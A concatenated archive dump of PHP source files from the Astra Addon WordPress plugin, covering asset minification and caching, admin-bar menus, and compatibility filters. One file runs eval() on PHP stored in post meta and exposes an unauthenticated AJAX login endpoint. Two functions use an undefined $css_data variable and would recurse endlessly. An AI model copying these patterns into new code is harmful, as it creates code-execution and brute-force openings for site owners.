Scripts */ public function enqueue_scripts() { /** * Filters to disable all the styles and scripts added from addon. * * @since 1.5.0 * * @param bool true | false enable/disable all styels,scripts of astra addon. */ if ( apply_filters( 'astra_addon_enqueue_assets', true ) ) { $css_url = self::get_css_url(); $js_url = self::get_js_url(); if ( false != $css_url ) { wp_enqueue_style( 'astra-addon-css', $css_url, array(), ASTRA_EXT_VER, 'all' ); } // Scripts - Register & Enqueue. if ( false != $js_url ) { wp_enqueue_script( 'astra-addon-js', $js_url, self::get_dependent_js(), ASTRA_EXT_VER, true ); } if ( ! function_exists( 'astra_addon_filesystem' ) ) { wp_add_inline_style( 'astra-addon-css', apply_filters( 'astra_addon_dynamic_css', '' ) ); } wp_localize_script( 'astra-addon-js', 'astraAddon', apply_filters( 'astra_addon_js_localize', array() ) ); } } /** * Load WordPress filesystem * * @since 1.0 * @return void */ public static function load_filesystem() { if ( null === self::$astra_addon_filesystem ) { global $wp_filesystem; if ( empty( $wp_filesystem ) ) { require_once ABSPATH . '/wp-admin/includes/file.php'; WP_Filesystem(); } self::$astra_addon_filesystem = $wp_filesystem; } } /** * Used to add enqueue frontend styles. * * @since 1.0 * @param string $src Source URL. * @param boolean $handle Script handle. * @return void */ public static function add_css( $src = null, $handle = false ) { if ( false != $handle ) { self::$css_files[ $handle ] = $src; } else { self::$css_files[] = $src; } } /** * Used to enqueue frontend scripts. * * @since 1.0 * @param string $src Source URL. * @param boolean $handle Script handle. * @return void */ public static function add_js( $src = null, $handle = false ) { if ( false != $handle ) { self::$js_files[ $handle ] = $src; } else { self::$js_files[] = $src; } } /** * Used to enqueue dependent js frontend scripts. * * @since 1.0 * @param boolean $handle Script handle. * @param string $src Source URL. * @return void */ public static function add_dependent_js( $handle, $src = null ) { self::$dependent_js_files[ $handle ] = $src; } /** * Get css files to HTTP/2. * * @since 1.0 * @return array() */ public static function get_http2_css_files() { // Get the css key. $css_slug = self::_asset_slug(); $css_files = get_option( self::$_css_key . '-files-' . $css_slug, array() ); // No css files, recompile the files. if ( ! $css_files ) { self::render_http2_css(); return self::get_http2_css_files(); } // Return the url. return $css_files; } /** * Get css files to generate. * * @since 1.0 * @return array() */ public static function get_css_files() { if ( 1 > count( self::$css_files ) ) { do_action( 'astra_addon_get_css_files' ); } return apply_filters( 'astra_addon_add_css_file', self::$css_files ); } /** * Get CSS files to HTTP/2. * * @since 1.0 * @return array() */ public static function get_http2_js_files() { // Get the js key. $js_slug = self::_asset_slug(); $js_files = get_option( self::$_js_key . '-files-' . $js_slug, array() ); self::$dependent_js_files = get_option( self::$_js_key . '-dep-' . $js_slug ); // No js files, recompile the js files. if ( ! $js_files ) { self::render_http2_js(); return self::get_http2_js_files(); } // Return the files array(). return $js_files; } /** * Get JS files to generate. * * @since 1.0 * @return array() */ public static function get_js_files() { if ( 1 > count( self::$js_files ) ) { do_action( 'astra_addon_get_js_files' ); } return apply_filters( 'astra_addon_add_js_file', self::$js_files ); } /** * Get dependent JS files to generate. * * @since 1.0 * @return array() */ public static function get_dependent_js_files() { return apply_filters( 'astra_addon_add_dependent_js_file', self::$dependent_js_files ); } /** * Checks to see if the current site is being accessed over SSL. * * @since 1.0 * @return bool */ public static function astra_is_ssl() { if ( is_ssl() ) { return true; } elseif ( 0 === stripos( get_option( 'siteurl' ), 'https://' ) ) { return true; } elseif ( isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) && 'https' == $_SERVER['HTTP_X_FORWARDED_PROTO'] ) { return true; } return false; } /** * Returns an array with the path and URL for the cache directory. * * @since 1.0 * @return array */ public static function get_cache_dir() { if ( null != self::$_dir_info ) { return self::$_dir_info; } $dir_name = 'astra-addon'; $wp_info = wp_upload_dir(); // SSL workaround. if ( self::astra_is_ssl() ) { $wp_info['baseurl'] = str_ireplace( 'http://', 'https://', $wp_info['baseurl'] ); } // Build the paths. $dir_info = array( 'path' => $wp_info['basedir'] . '/' . $dir_name . '/', 'url' => $wp_info['baseurl'] . '/' . $dir_name . '/', ); // Create the cache dir if it doesn't exist. if ( ! file_exists( $dir_info['path'] ) ) { wp_mkdir_p( $dir_info['path'] ); } self::$_dir_info = $dir_info; return self::$_dir_info; } /** * Checks to see if this is a Customizer preview or not. * * @since 1.0 * @return bool */ public static function is_customizer_preview() { return self::$_in_customizer_preview; } /** * Returns the prefix slug for the CSS cache file. * * @since 1.0 * @return string */ private static function _asset_slug() { // phpcs:ignore PSR2.Methods.MethodDeclaration.Underscore if ( self::is_customizer_preview() ) { $slug = 'ast-customizer'; } else { $slug = 'astra-addon'; } return $slug; } /** * Clears and rebuilds the cached CSS file. * * @since 1.0 * @return void */ public static function refresh_assets() { self::clear_assets_cache(); self::render_assets(); do_action( 'astra_addon_assets_refreshed' ); } /** * Deletes cached CSS files based on the current * context (live, preview or customizer) or all if * $all is set to true. * * @since 1.0 * @return boolean Returns True if files were successfull deleted, False If files could not be deleted. */ public static function clear_assets_cache() { // Make sure the filesystem is loaded. self::load_filesystem(); $dir_name = 'astra-addon'; $cache_dir = self::get_cache_dir(); $asset_slug = self::_asset_slug(); /* Delete CSS Keys */ delete_option( self::$_css_key . '-' . $asset_slug ); delete_option( self::$_css_key . '-files-' . $asset_slug ); /* Delete JS Keys */ delete_option( self::$_js_key . '-' . $asset_slug ); delete_option( self::$_js_key . '-files-' . $asset_slug ); delete_option( self::$_js_key . '-dep-' . $asset_slug ); if ( ! empty( $cache_dir['path'] ) && stristr( $cache_dir['path'], $dir_name ) ) { $directory = trailingslashit( $cache_dir['path'] ); $filelist = (array) self::$astra_addon_filesystem->dirlist( $directory, true ); $delete_status = true; foreach ( $filelist as $file ) { // don't delete dynamic css files. // @TODO: use Astra_Cache to generate and manage CSS files. if ( false !== strpos( $file['name'], 'dynamic-css' ) ) { continue; } // Skip astra-addon css/js files if customizer preview. Whenever customizer was refreshed, astra-addon used to regenerate. If HTML cache is enabled on the frontend then just visiting the customizer regenerates the astra-addon assets and gives 404 not found error for astra-addon assets on frontend. if ( self::is_customizer_preview() && ( false !== strpos( $file['name'], 'astra-addon-' ) ) ) { continue; } $file = $directory . $file['name']; if ( is_file( $file ) && file_exists( $file ) ) { $delete_status = self::$astra_addon_filesystem->delete( $file ); } } // If the file was not correctly deleted. if ( false == $delete_status ) { // Set status CSS status True. This will load the CSS as inline. update_option( 'ast-theme-css-status', true ); update_option( 'astra-addon-js-status', true ); return false; } } return true; } /** * Renders the CSS and JS assets. * * @since 1.0 * @return void */ public static function render_assets() { if ( defined( 'ASTRA_THEME_HTTP2' ) && ASTRA_THEME_HTTP2 ) { self::render_http2_css(); self::render_http2_js(); } else { self::render_css(); self::render_js(); } } /** * Returns a URL for the cached CSS file. * * @since 1.0 * @return string */ public static function get_css_url() { if ( defined( 'ASTRA_THEME_HTTP2' ) && ASTRA_THEME_HTTP2 ) { self::enqueue_http2_css(); return false; } elseif ( ! get_option( 'ast-theme-css-status' ) ) { // Get the cache dir and css key. $cache_dir = self::get_cache_dir(); $css_slug = self::_asset_slug(); $css_key = get_option( self::$_css_key . '-' . $css_slug ); $css_path = $cache_dir['path'] . $css_slug . '-' . $css_key . '.css'; $css_url = $cache_dir['url'] . $css_slug . '-' . $css_key . '.css'; if ( ! $css_key ) { self::render_css(); return self::get_css_url(); } // Check to see if the file exists. if ( ! file_exists( $css_path ) ) { self::render_fallback_css(); return false; } // Return the url. return $css_url; } else { self::render_fallback_css(); return false; } } /** * Returns a HTTP/2 Dynamic CSS data. * * @since 1.0 * @return string */ public static function get_http2_dynamic_css() { // Get the css key. $css_slug = self::_asset_slug(); // No css data, recompile the css. if ( ! $css_data ) { self::render_http2_css(); return self::get_http2_dynamic_css(); } // Return the url. return $css_data; } /** * Returns a Dynamic CSS data. * * @since 1.0 * @return string */ public static function get_dynamic_css() { // Get the cache dir and css key. $cache_dir = self::get_cache_dir(); $css_slug = self::_asset_slug(); // No css data, recompile the css. if ( ! $css_data ) { self::render_css(); return self::get_dynamic_css(); } // Return the url. return $css_data; } /** * Returns a URL for the cached JS file. * * @since 1.0 * @return string */ public static function get_js_url() { if ( defined( 'ASTRA_THEME_HTTP2' ) && ASTRA_THEME_HTTP2 ) { self::enqueue_http2_js(); return false; } elseif ( ! get_option( 'astra-addon-js-status' ) ) { // Get the cache dir and js key. $cache_dir = self::get_cache_dir(); $js_slug = self::_asset_slug(); $js_key = get_option( self::$_js_key . '-' . $js_slug ); $js_path = $cache_dir['path'] . $js_slug . '-' . $js_key . '.js'; $js_url = $cache_dir['url'] . $js_slug . '-' . $js_key . '.js'; if ( ! $js_key ) { self::render_js(); return self::get_js_url(); } // Get dependent js added from addon modules. self::$dependent_js_files = get_option( self::$_js_key . '-dep-' . $js_slug ); // Check to see if the file exists. if ( ! file_exists( $js_path ) ) { self::render_fallback_js(); return false; } // Return the url. return $js_url; } else { self::render_fallback_js(); return false; } } /** * Enqueue dependent JS * * @since 1.0 * @return void */ public static function enqueue_dependent_js() { $dependent_js_files = self::get_dependent_js_files(); if ( is_array( $dependent_js_files ) && ! empty( $dependent_js_files ) && ( count( $dependent_js_files ) > 0 ) ) { foreach ( $dependent_js_files as $handle => $src ) { if ( '' != $src ) { wp_enqueue_script( $handle, $src, array(), ASTRA_EXT_VER, true ); } else { wp_enqueue_script( $handle ); } } } } /** * Get dependent JS * * @since 1.0 * @return array() */ public static function get_dependent_js() { $dependent_js_files = self::get_dependent_js_files(); $js_files_arr = array(); if ( is_array( $dependent_js_files ) && count( $dependent_js_files ) > 0 ) { foreach ( $dependent_js_files as $handle => $src ) { if ( '' != $src ) { wp_register_script( $handle, $src, array(), ASTRA_EXT_VER, true ); $js_files_arr[] = $handle; } else { $js_files_arr[] = $handle; } } } return $js_files_arr; } /** * Compiles the cached CSS file. * * @since 1.0 * @return void */ private static function render_http2_css() { $css_slug = self::_asset_slug(); $css_files = self::get_css_files(); /* Update Dynamic css in DB */ update_option( self::$_css_key . '-files-' . $css_slug, $css_files ); } /** * Compiles the cached CSS file. * * @since 1.0 * @return void|false Checks early if cache directory was emptied before generating the new files */ private static function render_css() { self::load_filesystem(); if ( ! defined( 'FS_CHMOD_FILE' ) ) { define( 'FS_CHMOD_FILE', ( fileperms( ABSPATH . 'index.php' ) & 0777 | 0644 ) ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedConstantFound } if ( get_option( 'ast-theme-css-status' ) ) { $assets_status = self::clear_assets_cache(); if ( false == $assets_status ) { return false; } } $cache_dir = self::get_cache_dir(); $new_css_key = str_replace( '.', '-', uniqid( '', true ) ); $css_slug = self::_asset_slug(); $css_files = self::get_css_files(); $css = ''; $css_min = ''; $filepath = $cache_dir['path'] . $css_slug . '-' . $new_css_key . '.css'; if ( count( $css_files ) > 0 ) { foreach ( $css_files as $k => $file ) { if ( ! empty( $file ) && file_exists( $file ) ) { $css .= self::$astra_addon_filesystem->get_contents( $file, FS_CHMOD_FILE ); } } } $css = apply_filters( 'astra_addon_render_css', $css ); $status = self::$astra_addon_filesystem->put_contents( $filepath, $css, FS_CHMOD_FILE ); $status = ! $status; // Save the new css key. update_option( 'ast-theme-css-status', $status ); update_option( self::$_css_key . '-' . $css_slug, $new_css_key ); } /** * Render HTTP/2 CSS : enqueue individual CSS file. * * @since 1.0 * @return void */ private static function enqueue_http2_css() { $css_files = self::get_http2_css_files(); $files_count = count( $css_files ); if ( $files_count > 0 ) { foreach ( $css_files as $k => $file ) { if ( $files_count == $k + 1 ) { $handle = 'astra-addon-css'; } else { $handle = 'astra-addon-css-' . $k; } wp_enqueue_style( $handle, $file, array(), ASTRA_EXT_VER, 'all' ); } } } /** * Fallback to enqueue individual CSS file. * * @since 1.0 * @return void */ private static function render_fallback_css() { $css_files = self::get_css_files(); $files_count = count( $css_files ); if ( $files_count > 0 ) { foreach ( $css_files as $index => $file_path ) { if ( ! file_exists( $file_path ) ) { continue; } $new_file = plugins_url( str_replace( plugin_dir_path( ASTRA_EXT_FILE ), '', $file_path ), ASTRA_EXT_FILE ); if ( $files_count == $index + 1 ) { $handle = 'astra-addon-css'; } else { $handle = 'astra-addon-css-' . $index; } wp_enqueue_style( $handle, $new_file, array(), ASTRA_EXT_VER, 'all' ); } } } /** * Renders HTTP/2 js. * * @since 1.0 * @return void */ public static function render_http2_js() { $js_slug = self::_asset_slug(); $js_files = self::get_js_files(); $dep_js_files = self::$dependent_js_files; update_option( self::$_js_key . '-files-' . $js_slug, $js_files ); update_option( self::$_js_key . '-dep-' . $js_slug, $dep_js_files ); } /** * Renders and caches the JavaScript * * @since 1.0 * @return void|false Checks early if cache directory was emptied before generating the new files */ public static function render_js() { self::load_filesystem(); if ( ! defined( 'FS_CHMOD_FILE' ) ) { define( 'FS_CHMOD_FILE', ( fileperms( ABSPATH . 'index.php' ) & 0777 | 0644 ) ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedConstantFound } if ( get_option( 'astra-addon-js-status' ) ) { $assets_status = self::clear_assets_cache(); if ( false == $assets_status ) { return false; } } $cache_dir = self::get_cache_dir(); $new_js_key = str_replace( '.', '-', uniqid( '', true ) ); $js_slug = self::_asset_slug(); $js_files = self::get_js_files(); $dep_js_files = self::$dependent_js_files; $js = ''; $js_min = ''; $filepath = $cache_dir['path'] . $js_slug . '-' . $new_js_key . '.js'; if ( count( $js_files ) > 0 ) { foreach ( $js_files as $k => $file ) { if ( ! empty( $file ) && file_exists( $file ) ) { $js .= self::$astra_addon_filesystem->get_contents( $file, FS_CHMOD_FILE ); } } } $js = apply_filters( 'astra_addon_render_js', $js ); $status = self::$astra_addon_filesystem->put_contents( $filepath, $js, FS_CHMOD_FILE ); $status = ! $status; // Save the new css key. update_option( 'astra-addon-js-status', $status ); update_option( self::$_js_key . '-dep-' . $js_slug, $dep_js_files ); update_option( self::$_js_key . '-' . $js_slug, $new_js_key ); do_action( 'astra_addon_after_render_js' ); } /** * HTTP/2 individual JS file. * * @since 1.0 * @return void */ public static function enqueue_http2_js() { $js_files = self::get_http2_js_files(); $files_count = count( $js_files ); if ( 0 < $files_count ) { $dep_files = self::get_dependent_js(); if ( ! is_array( $dep_files ) ) { $dep_files = array(); } foreach ( $js_files as $k => $file ) { if ( 0 == $k ) { $handle = 'astra-addon-js'; } else { $handle = 'astra-addon-js-' . $k; } wp_enqueue_script( $handle, $file, $dep_files, ASTRA_EXT_VER, true ); } } } /** * Render Fallback JS * * @since 1.0 * @return void */ public static function render_fallback_js() { $js_files = self::get_js_files(); $files_count = count( $js_files ); if ( 0 < $files_count ) { self::enqueue_dependent_js(); foreach ( $js_files as $index => $file_path ) { if ( ! file_exists( $file_path ) ) { continue; } $new_file = plugins_url( str_replace( plugin_dir_path( ASTRA_EXT_FILE ), '', $file_path ), ASTRA_EXT_FILE ); if ( 0 == $index ) { $handle = 'astra-addon-js'; } else { $handle = 'astra-addon-js-' . $index; } wp_enqueue_script( $handle, $new_file, array(), ASTRA_EXT_VER, true ); } } } /** * Called by the customize_preview_init action to initialize * a Customizer preview. * * @since 1.0 * @return void */ public static function preview_init() { self::$_in_customizer_preview = true; self::refresh_assets(); } /** * Trim CSS * * @since 1.0 * @param string $css CSS content to trim. * @return string */ public static function trim_css( $css = '' ) { // Trim white space for faster page loading. if ( ! empty( $css ) ) { $css = preg_replace( '!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $css ); $css = str_replace( array( "\r\n", "\r", "\n", "\t", ' ', ' ', ' ' ), '', $css ); $css = str_replace( ', ', ',', $css ); } return $css; } /** * Load Addon ddependent JS related to toggle navigation menu. * * @since 3.5.9 */ public static function add_fronted_pro_script() { /* Define Variables */ $uri = ASTRA_EXT_URI . 'assets/js/'; $path = ASTRA_EXT_DIR . 'assets/js/'; /* Directory and Extension */ $file_prefix = '.min'; $dir_name = 'minified'; if ( SCRIPT_DEBUG ) { $file_prefix = ''; $dir_name = 'unminified'; } $js_uri = $uri . $dir_name . '/'; $js_dir = $path . $dir_name . '/'; if ( defined( 'ASTRA_THEME_HTTP2' ) && ASTRA_THEME_HTTP2 ) { $gen_path = $js_uri; } else { $gen_path = $js_dir; } /*** End Path Logic */ self::add_js( $gen_path . 'frontend-pro' . $file_prefix . '.js' ); } } Astra_Minify::get_instance(); } class-astra-ext-model.php 0000666 00000022363 15165730730 0011407 0 ustar 00 <?php /** * Astra Extension Model Class * * @package Astra Addon */ /** * Provide Extension related data. * * @since 1.0 */ // @codingStandardsIgnoreStart final class Astra_Ext_Model { // @codingStandardsIgnoreEnd /** * Construct */ public function __construct() { if ( class_exists( 'Astra_Customizer' ) ) { $this->load_extensions(); } if ( Astra_Ext_Extension::is_active( 'advanced-headers' ) || Astra_Ext_Extension::is_active( 'advanced-hooks' ) ) { add_action( 'admin_bar_menu', array( $this, 'add_admin_menu' ), 90 ); add_action( 'wp_head', array( $this, 'print_style' ) ); } } /** * Load Extensions * * @return void */ public function load_extensions() { $enabled_extension = Astra_Ext_Extension::get_enabled_addons(); $default_extensions = Astra_Ext_Extension::get_default_addons(); $enabled_extension = $enabled_extension + $default_extensions; if ( 0 < count( $enabled_extension ) ) { if ( isset( $enabled_extension['all'] ) ) { unset( $enabled_extension['all'] ); } foreach ( $enabled_extension as $slug => $value ) { if ( false == $value ) { continue; } $extension_path = ASTRA_EXT_DIR . 'addons/' . esc_attr( $slug ) . '/class-astra-ext-' . esc_attr( $slug ) . '.php'; $extension_path = apply_filters( 'astra_addon_path', $extension_path, $slug ); // Check for the extension. if ( file_exists( $extension_path ) ) { require_once $extension_path; } } } } /** * Add Admin menu item * * @param object WP_Admin_Bar $admin_bar Admin bar. * @return void * @since 4.0.0 */ public function add_admin_menu( $admin_bar ) { if ( is_admin() ) { return; } // Check if current user can have edit access. if ( ! current_user_can( 'edit_posts' ) ) { return; } $custom_layout_addon_active = Astra_Ext_Extension::is_active( 'advanced-hooks' ) ? true : false; $page_headers_addon_active = Astra_Ext_Extension::is_active( 'advanced-headers' ) ? true : false; $post_id = get_the_ID() ? get_the_ID() : 0; $current_post = $post_id ? get_post( $post_id, OBJECT ) : false; $has_shortcode = ( is_object( $current_post ) && has_shortcode( $current_post->post_content, 'astra_custom_layout' ) ) ? true : false; if ( $custom_layout_addon_active || $page_headers_addon_active || $has_shortcode ) { $custom_layouts = false; if ( $custom_layout_addon_active ) { $option = array( 'location' => 'ast-advanced-hook-location', 'exclusion' => 'ast-advanced-hook-exclusion', 'users' => 'ast-advanced-hook-users', ); $custom_layouts = Astra_Target_Rules_Fields::get_instance()->get_posts_by_conditions( ASTRA_ADVANCED_HOOKS_POST_TYPE, $option ); } $page_headers = false; if ( $page_headers_addon_active ) { $option = array( 'location' => 'ast-advanced-headers-location', 'exclusion' => 'ast-advanced-headers-exclusion', 'users' => 'ast-advanced-headers-users', 'page_meta' => 'adv-header-id-meta', ); $page_headers = Astra_Target_Rules_Fields::get_instance()->get_posts_by_conditions( 'astra_adv_header', $option ); } if ( $custom_layouts || $page_headers || $has_shortcode ) { $admin_bar->add_node( array( 'id' => 'astra-advanced-layouts', 'title' => '<span class="ab-item astra-admin-logo"></span>', ) ); } if ( is_array( $custom_layouts ) && ! empty( $custom_layouts ) ) { $admin_bar->add_group( array( 'id' => 'ast_custom_layouts_group', 'parent' => 'astra-advanced-layouts', ) ); $admin_bar->add_node( array( 'id' => 'custom-layout-title', 'parent' => 'ast_custom_layouts_group', 'title' => esc_html__( 'Edit Custom Layout', 'astra-addon' ), ) ); // Add dynamic layouts assigned on current location. foreach ( $custom_layouts as $post_id => $post_data ) { $post_type = get_post_type(); if ( ASTRA_ADVANCED_HOOKS_POST_TYPE != $post_type ) { $layout_title = get_the_title( $post_id ); $admin_bar->add_node( array( 'id' => 'edit-custom-layout-' . esc_attr( $post_id ), 'href' => esc_url( get_edit_post_link( $post_id ) ), 'title' => esc_attr( $layout_title ), 'parent' => 'ast_custom_layouts_group', ) ); } } } if ( is_array( $page_headers ) && ! empty( $page_headers ) ) { $admin_bar->add_group( array( 'id' => 'ast_page_headers_group', 'parent' => 'astra-advanced-layouts', ) ); $admin_bar->add_node( array( 'id' => 'page-headers-title', 'parent' => 'ast_page_headers_group', 'title' => esc_html__( 'Edit Page Header', 'astra-addon' ), ) ); // Add dynamic headers assigned on current location. foreach ( $page_headers as $post_id => $post_data ) { $post_type = get_post_type(); if ( 'astra_adv_header' != $post_type ) { $layout_title = get_the_title( $post_id ); $admin_bar->add_node( array( 'id' => 'edit-page-header-' . esc_attr( $post_id ), 'href' => esc_url( get_edit_post_link( $post_id ) ), 'title' => esc_attr( $layout_title ), 'parent' => 'ast_page_headers_group', ) ); } } } if ( $has_shortcode ) { $pattern = get_shortcode_regex( array( 'astra_custom_layout' ) ); if ( preg_match_all( '/' . $pattern . '/s', $current_post->post_content, $matches ) ) { $output = array(); foreach ( $matches[0] as $key => $value ) { $as_string = str_replace( ' ', '&', trim( $matches[3][ $key ] ) ); // $matches[3] return the shortcode attribute as string & replace space with '&' for parse_str() function. $as_string = str_replace( '"', '', $as_string ); parse_str( $as_string, $sub_attrs ); $output[] = $sub_attrs; // Get all shortcode attribute keys. } if ( ! empty( $output ) ) { $admin_bar->add_group( array( 'id' => 'ast_cl_shortcode_group', 'parent' => 'astra-advanced-layouts', ) ); $admin_bar->add_node( array( 'id' => 'cl-shortcode-title', 'parent' => 'ast_cl_shortcode_group', 'title' => esc_html__( 'Edit Shortcode Layouts', 'astra-addon' ), ) ); foreach ( $output as $key => $value ) { foreach ( $value as $attr_key => $attr_val ) { $cl_layout_id = absint( $attr_val ); $layout_title = get_the_title( $cl_layout_id ); $admin_bar->add_node( array( 'id' => 'edit-cl-shortcode-layout-' . esc_attr( $cl_layout_id ), 'href' => esc_url( get_edit_post_link( $cl_layout_id ) ), 'title' => esc_attr( $layout_title ), 'parent' => 'ast_cl_shortcode_group', ) ); } } } } } } } /** * Print style. * * Adds custom CSS to the HEAD html tag. The CSS for admin bar Astra's trigger. * * Fired by `wp_head` filter. * * @since 4.0.0 */ public function print_style() { if ( is_user_logged_in() ) { $branding_logo = 'data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTQiIGhlaWdodD0iMTQiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0iI2E3YWFhZCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik05IDE4QzEzLjk3MDcgMTggMTggMTMuOTcwNyAxOCA5QzE4IDQuMDI5MyAxMy45NzA3IDAgOSAwQzQuMDI5MyAwIDAgNC4wMjkzIDAgOUMwIDEzLjk3MDcgNC4wMjkzIDE4IDkgMThaTTQgMTIuOTk4TDguMzk2IDRMOS40NDE0MSA2LjAzMTI1TDUuODgzNzkgMTIuOTk4SDRaTTguNTM0NjcgMTEuMzc1TDEwLjM0OTEgNy43MjA3TDEzIDEzSDEwLjk3NzFMMTAuMjc5MyAxMS40NDM0SDguNTM0NjdIOC41TDguNTM0NjcgMTEuMzc1WiIgZmlsbD0iI2E3YWFhZCIvPgo8L3N2Zz4K'; if ( false !== Astra_Ext_White_Label_Markup::get_whitelabel_string( 'astra', 'icon' ) ) { $branding_logo = Astra_Ext_White_Label_Markup::get_whitelabel_string( 'astra', 'icon' ); } ?> <style> #wp-admin-bar-astra-advanced-layouts .astra-admin-logo { float: left; width: 20px; height: 100%; cursor: pointer; background-repeat: no-repeat; background-position: center; background-size: 16px auto; color: #a7aaad; background-image: url( <?php echo esc_attr( $branding_logo ); ?> ); } #wpadminbar .quicklinks #wp-admin-bar-astra-advanced-layouts .ab-empty-item { padding: 0 5px; } #wpadminbar #wp-admin-bar-astra-advanced-layouts .ab-submenu { padding: 5px 10px; } #wpadminbar .quicklinks #wp-admin-bar-astra-advanced-layouts li { clear: both; } #wp-admin-bar-ast_page_headers_group:before { border-bottom: 1px solid hsla(0,0%,100%,.2); display: block; float: left; content: ""; margin-bottom: 10px; width: 100%; } #wpadminbar #wp-admin-bar-ast_custom_layouts_group li a:before, #wpadminbar #wp-admin-bar-ast_cl_shortcode_group li a:before, #wpadminbar #wp-admin-bar-ast_page_headers_group li a:before { content: "\21B3"; margin-right: 0.5em; opacity: 0.5; font-size: 13px; } </style> <?php } } } new Astra_Ext_Model(); astra-addon-extended-functionality.php 0000666 00000006117 15165730730 0014156 0 ustar 00 <?php /** * Astra Addon BSF & WP-Com package extended functionality. * * In this file as per WooCommerce.com standards we manipulated following things - * 1. Deprecation of Code editor due to usage of * i) eval() * ii) echo $php_snippet; * 2. Removed modern checkout layout's easy login due to $_POST['password'] sanitization case. * * @package Astra Addon * @since 4.1.1 */ /** * Check if code editor custom layout enabled. * * @param int $post_id Post Id. * @return boolean * @since 4.1.5 */ function astra_addon_is_code_editor_layout( $post_id ) { $php_enabled = get_post_meta( $post_id, 'editor_type', true ); if ( 'code_editor' === $php_enabled ) { return true; } return false; } /** * Get PHP snippet if enabled. * * @param int $post_id Post Id. * @return boolean|html * @since 4.1.1 */ function astra_addon_get_php_snippet( $post_id ) { if ( ! astra_addon_is_code_editor_layout( $post_id ) ) { return false; } $code = get_post_meta( $post_id, 'ast-advanced-hook-php-code', true ); if ( defined( 'ASTRA_ADVANCED_HOOKS_DISABLE_PHP' ) ) { return $code; } ob_start(); // @codingStandardsIgnoreStart eval( '?>' . $code . '<?php ' ); // phpcs:ignore Squiz.PHP.Eval.Discouraged -- Ignored PHP standards to execute PHP code snipett. // @codingStandardsIgnoreEnd return ob_get_clean(); } /** * Echo PHP snippet if enabled. * * @param int $post_id Post Id. * @since 4.1.1 */ function astra_addon_echo_php_snippet( $post_id ) { if ( astra_addon_is_code_editor_layout( $post_id ) ) { $php_snippet = astra_addon_get_php_snippet( $post_id ); echo $php_snippet; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } /** * Check email exist. * * @since 3.9.0 */ function astra_addon_woocommerce_login_user() { check_ajax_referer( 'woocommerce-login', 'security' ); $response = array( 'success' => false, ); $user_name_email = isset( $_POST['user_name_email'] ) ? sanitize_text_field( wp_unslash( $_POST['user_name_email'] ) ) : false; $password = isset( $_POST['password'] ) ? wp_unslash( $_POST['password'] ) : false; // phpcs:disable WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $selected_user_name_email = ''; if ( filter_var( $user_name_email, FILTER_VALIDATE_EMAIL ) ) { $selected_user_name_email = sanitize_email( $user_name_email ); } else { $selected_user_name_email = $user_name_email; } $creds = array( 'user_login' => $selected_user_name_email, 'user_password' => $password, 'remember' => false, ); $user = wp_signon( $creds, false ); if ( ! is_wp_error( $user ) ) { $response = array( 'success' => true, ); } else { $response['error'] = wp_kses_post( $user->get_error_message() ); } wp_send_json_success( $response ); } // Login user on modern checkout layout. add_action( 'wp_ajax_astra_woocommerce_login_user', 'astra_addon_woocommerce_login_user' ); add_action( 'wp_ajax_nopriv_astra_woocommerce_login_user', 'astra_addon_woocommerce_login_user' ); class-astra-addon-update-filter-function.php 0000666 00000011723 15165730730 0015162 0 ustar 00 <?php /** * Supportive class for checking batch based option functions & filters. * * @package Astra Addon * @since 3.5.7 */ /** * Astra_Addon_Update_Filter_Function initial setup. * * @since 3.5.7 */ class Astra_Addon_Update_Filter_Function { /** * Check backwards compatibility to not load default CSS for the button styling of Page Builders. * * @since 2.2.0 * @return boolean true if button style CSS should be loaded, False if not. */ public static function page_builder_addon_button_style_css() { return apply_filters( 'astra_addon_page_builder_button_style_css', astra_get_option( 'pb-button-color-compatibility-addon', true ) ); } /** * Font CSS support for widget-title heading fonts & fonts which are not working in editor. * * 1. Adding Font-weight support to widget titles. * 2. Customizer font CSS not supporting in editor. * * @since 3.5.1 * @return boolean false if it is an existing user, true if not. */ public static function support_addon_font_css_to_widget_and_in_editor() { $astra_settings = get_option( ASTRA_THEME_SETTINGS ); $astra_settings['can-support-widget-and-editor-fonts'] = isset( $astra_settings['can-support-widget-and-editor-fonts'] ) ? false : true; return apply_filters( 'astra_heading_fonts_typo_support', $astra_settings['can-support-widget-and-editor-fonts'] ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound } /** * Support cart color setting to default cart icon, till now with other cart icons have this color comaptibility but default one don't have this. * This case is only for old header layout. * * @since 3.5.1 * @return boolean false if it is an existing user, true if not. */ public static function astra_cart_color_default_icon_old_header() { $astra_settings = get_option( ASTRA_THEME_SETTINGS ); $astra_settings['can-reflect-cart-color-in-old-header'] = isset( $astra_settings['can-reflect-cart-color-in-old-header'] ) ? false : true; return apply_filters( 'astra_support_default_cart_color_in_old_header', $astra_settings['can-reflect-cart-color-in-old-header'] ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound } /** * In old header for Cart widget we have background: #ffffff; for outline cart, whereas this CSS missed in new HFB > Cart element. Adding it now as per support requests. * This case is only for new header builder > WooCommerce cart. * * @since 3.5.7 * @return boolean false if it is an existing user, true if not. */ public static function astra_add_bg_color_outline_cart_header_builder() { $astra_settings = get_option( ASTRA_THEME_SETTINGS ); $astra_settings['add-outline-cart-bg-new-header'] = isset( $astra_settings['add-outline-cart-bg-new-header'] ) ? false : true; return apply_filters( 'astra_apply_background_to_outline_cart_builder_element', $astra_settings['add-outline-cart-bg-new-header'] ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound } /** * Remove 'Header Sections' addon dependency * * @since 3.5.7 * @return boolean false if it is an existing user, true if not. */ public static function astra_remove_header_sections_deps_header_builder() { $astra_settings = get_option( ASTRA_THEME_SETTINGS ); $astra_settings['remove-header-sections-deps-in-new-header'] = isset( $astra_settings['remove-header-sections-deps-in-new-header'] ) ? false : true; return apply_filters( 